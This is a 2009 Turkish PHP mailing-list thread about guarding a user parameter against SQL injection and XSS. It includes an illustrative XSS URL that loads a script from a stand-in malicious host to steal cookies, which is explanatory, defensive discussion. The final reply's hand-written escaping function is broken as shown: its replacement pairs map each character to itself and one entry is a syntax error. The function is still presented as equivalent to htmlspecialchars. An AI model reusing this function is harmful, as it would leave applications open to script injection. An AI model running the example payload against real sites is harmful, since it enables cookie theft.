Merhaba,
htmlspecialchars fonksiyonunda karakter setini belirleyen bir
parametre var. Kullanmış olduğun karakter kodlamasına göre
aşağıdakilerden birini seçebilirsin.
UTF-8'de küçük ı büyük i sorunu yaşayabilirsin.
htmlspecialchars('<script>iİşŞğĞüÜçÇöÖıI</script>', ENT_COMPAT, 'UTF-8');
htmlspecialchars('<script>iİşŞğĞüÜçÇöÖıI</script>', ENT_COMPAT, 'ISO-8859-9');
Veya basitçe;
function xss($par){
return strtr($par, array(
'&' => '&',
'"' => '"',
"'" => ''',
'<' => '<',
'>' => '>'
));
}
şeklinde bir fonksiyon yazabilirsin. Zaten htmlspecialchars'ında
yaptığı farklı birşey değil.
Kolay gelsin...
2009/1/14 Nuri Akman <[email protected]>:
> Merhaba Mehmet Bey,
>
> Daha önce htmlspecialchars kullanmış ve türkçe karakterlerde sorun
> yaşamıştım. Bu nedenle strip_tags komutunu kullanmaya başladım. Sizin
> tecrübelerinize göre xss'den korunma için siz hangisi dersiniz?
>
> Selamlar...
> Nuri AKMAN
>
>
> Mehmet Gürevin yazmış:
>
> Merhaba,
>
> SQL için diğer arkadaşların tavsiyeleri sanırım yeterli. Ancak ekrana
> bastırmaktan bahsettiğine göre xss içinde kendini koruman gerekir.
>
> Misal;
>
> http://www.site.com/?parametre=<script
> src="http://www.zararli.com/xss.js"></script>
>
> Gibi bir istekte xss.js dosyasını browser execute eder ve cookiler
> dahil browser tarafında js'nin yetkisi dahilinde tüm bilgiler
> çalınabilir ve işlem yaptırılabilir. Mesela sayfanın bir bölgesine
> reklam bile eklenebilir.
>
> Gelen parametreyi ekrana bastıracağın sırada htmlspecialchars
> fonksiyonu ile ekrana bastırırsan basitçe bundan korunmuş olursun.
>
> Örnek;
>
> $par = mysql_real_escape_string($_GET['parametre']);
> $sql = "SELECT * FROM table WHERE name='$par'";
> echo(htmlspecialchars($par));
>
> Kolay gelsin...
>
> 2009/1/11 Nuri AKMAN <[email protected]>:
>
>
> Arkadaşlar,
>
> $_POST veya $_GET ile aldığım bir parametreyi SQL'de kullanmam ve ekrana
> yazdırmam gerekiyor.
> Aşağıdaki kadar işlem hack yememek için sizce yeterli olur mu?
>
>
> $_GET['bolumadi'] = striptags($_GET['bolumadi']);
> echo $_GET['bolumadi'];
> $SQL = sprintf("select * from xxx where yyy = '%s' order by 1",
> mysql_real_escape_string( $_GET['bolumadi'] ));
>
> Selamlar,
> Nuri AKMAN
>
> _______________________________________________
> Linux-programlama mailing list
> [email protected]
> http://liste.linux.org.tr/mailman/listinfo/linux-programlama
>
>
>
>
> _______________________________________________
> Linux-programlama mailing list
> [email protected]
> http://liste.linux.org.tr/mailman/listinfo/linux-programlama
>
>
>
> _______________________________________________
> Linux-programlama mailing list
> [email protected]
> http://liste.linux.org.tr/mailman/listinfo/linux-programlama
>
>
_______________________________________________
Linux-programlama mailing list
[email protected]
http://liste.linux.org.tr/mailman/listinfo/linux-programlama